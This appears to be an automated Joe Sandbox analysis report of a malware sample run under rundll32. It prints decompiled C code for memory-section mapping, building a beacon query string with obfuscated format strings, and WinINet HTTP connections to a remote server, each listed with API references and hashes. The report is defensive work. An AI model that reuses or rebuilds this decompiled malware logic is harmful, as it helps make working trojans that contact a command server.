0x010f73e9
0x010f74ac
0x010f73ef
0x010f73f6
0x010f73fe
0x010f74a9
0x010f7404
0x010f7409
0x010f740e
0x010f7413
0x010f749b
0x010f7419
0x010f7419
0x010f741b
0x010f7421
0x010f7422
0x010f7422
0x010f7425
0x010f7428
0x010f742e
0x010f743f
0x010f7447
0x00000000
0x00000000
0x010f744f
0x010f7457
0x010f7463
0x010f7467
0x010f7469
0x010f746e
0x00000000
0x00000000
0x010f746e
0x010f7467
0x010f7480
0x010f7483
0x010f748a
0x010f7495
0x010f7495
0x00000000
0x010f7470
0x010f7470
0x010f7475
0x010f7477
0x010f7478
0x010f747b
0x00000000
0x010f747b
0x00000000
0x010f7475
0x010f7422
0x010f749c
0x010f749c
0x010f74a2
0x010f74a2
0x010f73fe
0x010f73b5
0x010f73bb
0x010f73c3
0x010f73dc
0x010f73de
0x00000000
0x00000000
0x010f73c5
0x010f73cf
0x010f73d3
0x010f73d9
0x00000000
0x010f73d9
0x010f73d3
0x010f73c3
0x010f74b5
0x010f1cae
0x010f1cae
0x010f1cb5
0x010f1cc0
0x00000000
0x00000000
0x00000000
0x010f1cb5

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,761F81D0,00000000,00000000), ref: 010F739C
InternetReadFile.WININET(?,?,00000004,?), ref: 010F73AB
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?,?), ref: 010F73B5
ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?), ref: 010F742E
InternetReadFile.WININET(?,?,00001000,?), ref: 010F743F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?,?), ref: 010F7449

Part of subcall function 010F4A85: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,761F81D0,00000000,00000000), ref: 010F4A9C
Part of subcall function 010F4A85: SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?), ref: 010F4AAC
Part of subcall function 010F4A85: HttpQueryInfoA.WININET(?,20000013,?,?), ref: 010F4ADE
Part of subcall function 010F4A85: HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 010F4B03
Part of subcall function 010F4A85: HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 010F4B23

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: EventHttpInfoQuery$ErrorFileInternetLastReadReset$ObjectSingleWait
String ID:
API String ID: 2393427839-0
Opcode ID: 4b694c823e972cbeba4e3c9b47c555cd027a8866aa8eb5ff698e99c61966f653
Instruction ID: 81a1a935ce2fc89fc999c1d960d70dd1db3c3e2bfe1a670edbbd274884242ba8
Opcode Fuzzy Hash: 4b694c823e972cbeba4e3c9b47c555cd027a8866aa8eb5ff698e99c61966f653
Instruction Fuzzy Hash: 1641E432600205EFDB229FA8CC46BAE7BF9AF84260F11456CE7C5D7990DB31E9018B51

Uniqueness

Uniqueness Score: -1.00%

Function 008F1000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E008F1000(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E008F2067(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x008f1009
0x008f1010
0x008f1011
0x008f1012
0x008f1013
0x008f1014
0x008f1025
0x008f1029
0x008f103d
0x008f1040
0x008f1043
0x008f104a
0x008f104d
0x008f1054
0x008f1057
0x008f105a
0x008f105d
0x008f1062
0x008f109d
0x008f1064
0x008f1067
0x008f106d
0x008f1072
0x008f1076
0x008f1094
0x008f1078
0x008f107f
0x008f108d
0x008f108d
0x008f1076
0x008f10a5

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,761B4EE0,00000000,00000000,?), ref: 008F105D

Part of subcall function 008F2067: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,008F1072,00000002,00000000,?,?,00000000,?,?,008F1072,00000002), ref: 008F2094

memset.NTDLL ref: 008F107F

Strings

@, xrefs: 008F104D

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: f88f7b59d057a9b82778a7dd04e6972382e4cc1d9d79e288a0e015176c7d91c1
Instruction ID: b1c415ad483e15238d90624b1f62ec208d6fc619635b34192d3a9ac717c207d5
Opcode Fuzzy Hash: f88f7b59d057a9b82778a7dd04e6972382e4cc1d9d79e288a0e015176c7d91c1
Instruction Fuzzy Hash: B12108B6D0060DEFCB11DFA9C8849EEFBB9FB48354F50442AE605F3210DB31AA448B61

Uniqueness

Uniqueness Score: -1.00%

Function 008F2067 Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E008F2067(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x008f2079
0x008f207f
0x008f208d
0x008f2094
0x008f2099
0x008f209f
0x00000000
0x008f20a0
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,008F1072,00000002,00000000,?,?,00000000,?,?,008F1072,00000002), ref: 008F2094

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 344393daecccbf5d4a0ec407d940f2b2c2350ce9cb6e34849128e19bd6c9e80a
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 05F030B690060CFFEB119FA5CC89CAFBBBDEB44394B104979F252E1190D6309E089B60

Uniqueness

Uniqueness Score: -1.00%

Function 010F56C8 Relevance: 39.2, APIs: 26, Instructions: 234
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E010F56C8(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t32;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				void* _t42;
				intOrPtr _t43;
				int _t46;
				intOrPtr _t47;
				int _t50;
				void* _t51;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr* _t68;
				void* _t69;
				intOrPtr _t74;
				intOrPtr _t80;
				intOrPtr _t83;
				intOrPtr _t86;
				int _t89;
				intOrPtr _t90;
				int _t93;
				intOrPtr _t95;
				int _t98;
				intOrPtr _t100;
				int _t103;
				void* _t105;
				void* _t106;
				void* _t110;
				void* _t112;
				void* _t113;
				intOrPtr _t114;
				long _t116;
				intOrPtr* _t117;
				intOrPtr* _t118;
				long _t119;
				int _t120;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;

				_t110 = __edx;
				_t106 = __ecx;
				_t127 =  &_v16;
				_t119 = __eax;
				_t32 =  *0x10fa3e0; // 0x51a9b78
				_v4 = _t32;
				_v8 = 8;
				_t33 = RtlAllocateHeap( *0x10fa2d8, 0, 0x800); // executed
				_t105 = _t33;
				if(_t105 != 0) {
					if(_t119 == 0) {
						_t119 = GetTickCount();
					}
					_t35 =  *0x10fa018; // 0xd0cb76cf
					asm("bswap eax");
					_t36 =  *0x10fa014; // 0x3a87c8cd
					asm("bswap eax");
					_t37 =  *0x10fa010; // 0xd8d2f808
					asm("bswap eax");
					_t38 =  *0x10fa00c; // 0xeec43f25
					asm("bswap eax");
					_t39 =  *0x10fa348; // 0x40ad5a8
					_t3 = _t39 + 0x10fb62b; // 0x74666f73
					_t120 = wsprintfA(_t105, _t3, 2, 0x3d175, _t38, _t37, _t36, _t35,  *0x10fa02c,  *0x10fa004, _t119);
					_t42 = E010F6927();
					_t43 =  *0x10fa348; // 0x40ad5a8
					_t4 = _t43 + 0x10fb66b; // 0x74707526
					_t46 = wsprintfA(_t120 + _t105, _t4, _t42);
					_t129 = _t127 + 0x38;
					_t121 = _t120 + _t46;
					if(_a12 != 0) {
						_t100 =  *0x10fa348; // 0x40ad5a8
						_t8 = _t100 + 0x10fb676; // 0x732526
						_t103 = wsprintfA(_t121 + _t105, _t8, _a12);
						_t129 = _t129 + 0xc;
						_t121 = _t121 + _t103;
					}
					_t47 =  *0x10fa348; // 0x40ad5a8
					_t10 = _t47 + 0x10fb2de; // 0x74636126
					_t50 = wsprintfA(_t121 + _t105, _t10, 0);
					_t130 = _t129 + 0xc;
					_t122 = _t121 + _t50; // executed
					_t51 = E010F22D7(_t106); // executed
					_t112 = _t51;
					if(_t112 != 0) {
						_t95 =  *0x10fa348; // 0x40ad5a8
						_t12 = _t95 + 0x10fb8d0; // 0x736e6426
						_t98 = wsprintfA(_t122 + _t105, _t12, _t112);
						_t130 = _t130 + 0xc;
						_t122 = _t122 + _t98;
						HeapFree( *0x10fa2d8, 0, _t112);
					}
					_t113 = E010F2A11();
					if(_t113 != 0) {
						_t90 =  *0x10fa348; // 0x40ad5a8
						_t14 = _t90 + 0x10fb8d8; // 0x6f687726
						_t93 = wsprintfA(_t122 + _t105, _t14, _t113);
						_t130 = _t130 + 0xc;
						_t122 = _t122 + _t93;
						HeapFree( *0x10fa2d8, 0, _t113);
					}
					_t114 =  *0x10fa3cc; // 0x51a95b0
					_a20 = E010F2509( &E010FA00A, _t114 + 4);
					_t55 =  *0x10fa370; // 0x0
					_t116 = 0;
					if(_t55 != 0) {
						_t86 =  *0x10fa348; // 0x40ad5a8
						_t17 = _t86 + 0x10fb8b2; // 0x3d736f26
						_t89 = wsprintfA(_t122 + _t105, _t17, _t55);
						_t130 = _t130 + 0xc;
						_t122 = _t122 + _t89;
					}
					_t56 =  *0x10fa36c; // 0x0
					if(_t56 != _t116) {
						_t83 =  *0x10fa348; // 0x40ad5a8
						_t19 = _t83 + 0x10fb889; // 0x3d706926
						wsprintfA(_t122 + _t105, _t19, _t56);
					}
					if(_a20 != _t116) {
						_t123 = RtlAllocateHeap( *0x10fa2d8, _t116, 0x800);
						if(_t123 != _t116) {
							E010F1BE9(GetTickCount());
							_t62 =  *0x10fa3cc; // 0x51a95b0
							__imp__(_t62 + 0x40);
							asm("lock xadd [eax], ecx");
							_t66 =  *0x10fa3cc; // 0x51a95b0
							__imp__(_t66 + 0x40);
							_t68 =  *0x10fa3cc; // 0x51a95b0
							_t69 = E010F1D33(1, _t110, _t105,  *_t68); // executed
							_t126 = _t69;
							asm("lock xadd [eax], ecx");
							if(_t126 != _t116) {
								StrTrimA(_t126, 0x10f928c);
								_push(_t126);
								_t74 = E010F393C();
								_v20 = _t74;
								if(_t74 != _t116) {
									_t117 = __imp__;
									 *_t117(_t126, _v8);
									 *_t117(_t123, _v8);
									_t118 = __imp__;
									 *_t118(_t123, _v32);
									 *_t118(_t123, _t126);
									_t80 = E010F375F(0xffffffffffffffff, _t123, _v28, _v24); // executed
									_v56 = _t80;
									if(_t80 != 0 && _t80 != 0x10d2) {
										E010F561E();
									}
									HeapFree( *0x10fa2d8, 0, _v48);
									_t116 = 0;
								}
								HeapFree( *0x10fa2d8, _t116, _t126);
							}
							RtlFreeHeap( *0x10fa2d8, _t116, _t123); // executed
						}
						HeapFree( *0x10fa2d8, _t116, _a12);
					}
					RtlFreeHeap( *0x10fa2d8, _t116, _t105); // executed
				}
				return _v16;
			}

0x010f56c8
0x010f56c8
0x010f56c8
0x010f56dd
0x010f56df
0x010f56e4
0x010f56e8
0x010f56f0
0x010f56f6
0x010f56fa
0x010f5702
0x010f570a
0x010f570a
0x010f570c
0x010f5718
0x010f5727
0x010f572c
0x010f572f
0x010f5734
0x010f5737
0x010f573c
0x010f573f
0x010f574b
0x010f5758
0x010f575a
0x010f5760
0x010f5765
0x010f5770
0x010f5772
0x010f5775
0x010f577b
0x010f577d
0x010f5786
0x010f5791
0x010f5793
0x010f5796
0x010f5796
0x010f5798
0x010f579d
0x010f57a9
0x010f57ab
0x010f57ae
0x010f57b0
0x010f57b5
0x010f57b9
0x010f57bb
0x010f57c0
0x010f57cc
0x010f57ce
0x010f57da
0x010f57dc
0x010f57dc
0x010f57e7
0x010f57eb
0x010f57ed
0x010f57f2
0x010f57fe
0x010f5800
0x010f580c
0x010f580e
0x010f580e
0x010f5814
0x010f5827
0x010f582b
0x010f5830
0x010f5834
0x010f5837
0x010f583c
0x010f5847
0x010f5849
0x010f584c
0x010f584c
0x010f584e
0x010f5855
0x010f5858
0x010f585d
0x010f5867
0x010f5869
0x010f5870
0x010f5888
0x010f588c
0x010f5898
0x010f589d
0x010f58a6
0x010f58b7
0x010f58bb
0x010f58c4
0x010f58ca
0x010f58d2
0x010f58d7
0x010f58e4
0x010f58ea
0x010f58f6
0x010f58fc
0x010f58fd
0x010f5902
0x010f5908
0x010f590e
0x010f5915
0x010f591c
0x010f5922
0x010f5929
0x010f592d
0x010f5938
0x010f593d
0x010f5943
0x010f594c
0x010f594c
0x010f595d
0x010f5963
0x010f5963
0x010f596d
0x010f596d
0x010f597b
0x010f597b
0x010f598c
0x010f598c
0x010f599a
0x010f599a
0x010f59ab

APIs

RtlAllocateHeap.NTDLL ref: 010F56F0
GetTickCount.KERNEL32 ref: 010F5704
wsprintfA.USER32 ref: 010F5753
wsprintfA.USER32 ref: 010F5770
wsprintfA.USER32 ref: 010F5791
wsprintfA.USER32 ref: 010F57A9
wsprintfA.USER32 ref: 010F57CC
HeapFree.KERNEL32(00000000,00000000), ref: 010F57DC
wsprintfA.USER32 ref: 010F57FE
HeapFree.KERNEL32(00000000,00000000), ref: 010F580E
wsprintfA.USER32 ref: 010F5847
wsprintfA.USER32 ref: 010F5867
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 010F5882
GetTickCount.KERNEL32 ref: 010F5892
RtlEnterCriticalSection.NTDLL(051A9570), ref: 010F58A6
RtlLeaveCriticalSection.NTDLL(051A9570), ref: 010F58C4
StrTrimA.SHLWAPI(00000000,010F928C,00000000,051A95B0), ref: 010F58F6
lstrcpy.KERNEL32(00000000,?), ref: 010F5915
lstrcpy.KERNEL32(00000000,?), ref: 010F591C
lstrcat.KERNEL32(00000000,?), ref: 010F5929
lstrcat.KERNEL32(00000000,00000000), ref: 010F592D
HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 010F595D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 010F596D
RtlFreeHeap.NTDLL(00000000,00000000,00000000,051A95B0), ref: 010F597B
HeapFree.KERNEL32(00000000,?), ref: 010F598C
RtlFreeHeap.NTDLL(00000000,00000000), ref: 010F599A

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Heap$wsprintf$Free$AllocateCountCriticalSectionTicklstrcatlstrcpy$EnterLeaveTrim
String ID:
API String ID: 2591679948-0
Opcode ID: 4c739c3571d14e14b95b5cf35e7398775675c7537c28eddb4404543dbb44f350
Instruction ID: 1a438a9d8b23afd48e2acd091b944fcd84bb05583e3e75debeb9199e7a24bfcf
Opcode Fuzzy Hash: 4c739c3571d14e14b95b5cf35e7398775675c7537c28eddb4404543dbb44f350
Instruction Fuzzy Hash: 5D81AF71600205EFC771AB68EC4BE963BE8EB88714B05052CFACCD7A14D63BE945DB61

Uniqueness

Uniqueness Score: -1.00%

Function 010F7AF1 Relevance: 19.6, APIs: 13, Instructions: 126
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E010F7AF1(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E010F6D63(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E010F6C2C(_t56);
					} else {
						E010F6C2C( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E010F7A86) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E010F6E40( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x10fa348; // 0x40ad5a8
						_t15 = _t59 + 0x10fb73b; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}

0x010f7af1
0x010f7af1
0x010f7afc
0x010f7b03
0x010f7b0b
0x010f7b15
0x010f7b1b
0x010f7b2e
0x010f7b3e
0x010f7b30
0x010f7b33
0x010f7b38
0x010f7b38
0x010f7b2e
0x010f7b4e
0x010f7b54
0x010f7b59
0x010f7c42
0x00000000
0x010f7b74
0x010f7b77
0x010f7b8a
0x010f7b90
0x010f7b95
0x010f7bbd
0x010f7bd0
0x010f7bda
0x010f7bdd
0x010f7be3
0x010f7be8
0x00000000
0x00000000
0x010f7bec
0x010f7bf8
0x010f7c09
0x010f7c0b
0x010f7c1c
0x010f7c1c
0x010f7c2c
0x00000000
0x010f7c3e
0x00000000
0x010f7c3e
0x00000000
0x00000000
0x00000000
0x010f7b95

APIs

lstrlen.KERNEL32(?,00000008,761B4D40), ref: 010F7B03

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 010F7B26
InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 010F7B4E
InternetSetStatusCallback.WININET(00000000,010F7A86), ref: 010F7B65
ResetEvent.KERNEL32(?), ref: 010F7B77
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 010F7B8A
GetLastError.KERNEL32 ref: 010F7B97
HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 010F7BDD
InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 010F7BFB
InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 010F7C1C
InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 010F7C28
InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 010F7C38
GetLastError.KERNEL32 ref: 010F7C42

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
String ID:
API String ID: 2290446683-0
Opcode ID: 719e05abc66b5fecd3643418a043c20a2ae2d566a756c21411d6b8bd05a33a98
Instruction ID: ae6e62105a8789b94c9a8a6dc2bbb205e798232f45b82d432600e1ddb00fcd29
Opcode Fuzzy Hash: 719e05abc66b5fecd3643418a043c20a2ae2d566a756c21411d6b8bd05a33a98
Instruction Fuzzy Hash: E8419C71600208BFD7319FA5DC4AFAB7FB9EB85700B14496CB782E2990E736A504CB61

Uniqueness

Uniqueness Score: -1.00%

Function 010F7F35 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E010F7F35(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x10f0000;
				_t115 = _t139[3] + 0x10f0000;
				_t131 = _t139[4] + 0x10f0000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x10f0000;
				_v16 = _t139[5] + 0x10f0000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x10f0002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x10fa1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x10fa1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x10fa1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x10fa1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x10fa1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x10fa1b8; // 0x0
										 *_t102 = _t125;
										 *0x10fa1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x10fa1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x010f7f44
0x010f7f5a
0x010f7f60
0x010f7f62
0x010f7f67
0x010f7f6d
0x010f7f72
0x010f7f75
0x010f7f83
0x010f7f8a
0x010f7f8d
0x010f7f90
0x010f7f91
0x010f7f94
0x010f7f97
0x010f7f9a
0x010f7f9f
0x010f7fae
0x00000000
0x010f7fb4
0x010f7fbe
0x010f7fc8
0x010f7fcd
0x010f7fcf
0x010f7fd9
0x010f7fdc
0x010f7fdf
0x010f7fe5
0x010f7fe7
0x010f7fe7
0x010f7fea
0x010f7fed
0x010f7ff2
0x010f7ff6
0x010f8009
0x010f800b
0x010f80b3
0x010f80b3
0x010f80ba
0x010f80bd
0x010f80c7
0x010f80c7
0x010f80cb
0x010f8149
